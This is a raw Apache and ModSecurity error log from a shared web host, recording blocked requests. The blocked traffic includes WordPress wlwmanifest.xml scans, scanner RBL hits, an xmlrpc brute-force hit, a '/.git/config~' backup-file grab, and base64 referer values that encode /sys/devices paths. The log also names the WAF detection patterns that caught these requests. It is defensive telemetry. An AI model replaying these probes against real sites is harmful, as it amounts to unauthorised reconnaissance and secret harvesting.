[access_compat:error] [pid 531797:tid 531923] [remote 57.141.14.12:23422] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:59.523457 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:59.523748 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:59.627968 2026] [security2:error] [pid 531797:tid 531875] [remote 17.246.23.22:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xz8TA7b1mZrmcA-8xNgACNAs"] [Sat Jun 13 18:11:59.894996 2026] [security2:error] [pid 531797:tid 532057] [client 143.244.57.82:52012] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "ai3xz8TA7b1mZrmcA-8xPgAAAk8"] [Sat Jun 13 18:11:59.947695 2026] [security2:error] [pid 531155:tid 531228] [remote 17.241.75.111:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 111.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xzymiP80klyS0NnoBagABC0g"] [Sat Jun 13 18:12:00.071845 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:00.072283 2026] [access_compat:error] [pid 531155:tid 531174] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:00.092967 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.36:51034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:00.093421 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.36:51034] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:00.380594 2026] [security2:error] [pid 531155:tid 531232] [remote 17.22.253.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x0CmiP80klyS0NnoBdgABMUw"] [Sat Jun 13 18:12:00.388464 2026] [security2:error] [pid 531797:tid 531906] [remote 17.22.237.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x0MTA7b1mZrmcA-8xUQACGio"] [Sat Jun 13 18:12:00.477801 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.7:25029] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:00.478079 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.7:25029] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:00.506300 2026] [security2:error] [pid 531797:tid 532037] [client 143.244.57.82:52022] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "ai3x0MTA7b1mZrmcA-8xWAAAAjw"] [Sat Jun 13 18:12:00.562304 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaGlkcmF3L2hpZHJhdzAvcG93ZXI= [Sat Jun 13 18:12:00.562610 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9kZXZpY2UvaGlkcmF3L2hpZHJhdzAvcG93ZXI= [Sat Jun 13 18:12:00.920169 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.86:30134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:00.920609 2026] [access_compat:error] [pid 531797:tid 531941] [remote 57.141.14.86:30134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:00.974786 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.89:58016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:00.975073 2026] [access_compat:error] [pid 531797:tid 531873] [remote 57.141.14.89:58016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:01.102491 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:01.102942 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:01.136452 2026] [security2:error] [pid 531155:tid 531403] [client 143.244.57.82:52032] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ai3x0SmiP80klyS0NnoBiQAAAYA"] [Sat Jun 13 18:12:01.621090 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:12:01.621409 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:12:01.717551 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.63:62116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:01.717993 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.63:62116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:01.737496 2026] [security2:error] [pid 531797:tid 532062] [client 143.244.57.82:52046] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ai3x0cTA7b1mZrmcA-8xkgAAAlQ"] [Sat Jun 13 18:12:01.880511 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.39:48912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:01.880799 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.39:48912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:01.885555 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.110:31308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:01.885993 2026] [access_compat:error] [pid 531155:tid 531263] [remote 57.141.14.110:31308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:02.007604 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.5:35499] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:02.008064 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.5:35499] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:02.135810 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9pZA== [Sat Jun 13 18:12:02.136247 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9pZA== [Sat Jun 13 18:12:02.226527 2026] [security2:error] [pid 531797:tid 531895] [remote 17.246.19.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x0sTA7b1mZrmcA-8xnwACjh8"] [Sat Jun 13 18:12:02.342463 2026] [security2:error] [pid 531155:tid 531301] [client 143.244.57.82:52048] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ai3x0imiP80klyS0NnoBpgAAARo"] [Sat Jun 13 18:12:02.377294 2026] [access_compat:error] [pid 531797:tid 531870] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:02.377637 2026] [access_compat:error] [pid 531797:tid 531870] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:02.442833 2026] [access_compat:error] [pid 531155:tid 531260] [remote 57.141.14.94:39642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:02.443112 2026] [access_compat:error] [pid 531155:tid 531260] [remote 57.141.14.94:39642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:02.527185 2026] [security2:error] [pid 531797:tid 532107] [client 143.244.57.86:37756] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ai3x0sTA7b1mZrmcA-8xrAAAAoA"] [Sat Jun 13 18:12:02.586968 2026] [security2:error] [pid 531155:tid 531242] [remote 17.241.219.66:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 66.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x0imiP80klyS0NnoBrQABNVY"] [Sat Jun 13 18:12:02.650756 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:12:02.651063 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:12:02.909432 2026] [security2:error] [pid 531797:tid 532063] [client 143.244.57.86:37768] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.57.244.143.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "beta.gamma.celadondragon.com"] [uri "/xmlrpc.php"] [unique_id "ai3x0sTA7b1mZrmcA-8xvwAAAlU"] [Sat Jun 13 18:12:02.930892 2026] [security2:error] [pid 531155:tid 531250] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/.git/config~"] [unique_id "ai3x0imiP80klyS0NnoBsgABcl4"] [Sat Jun 13 18:12:02.942244 2026] [security2:error] [pid 531797:tid 532112] [client 143.244.57.82:52062] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ai3x0sTA7b1mZrmcA-8xwwAAAoU"] 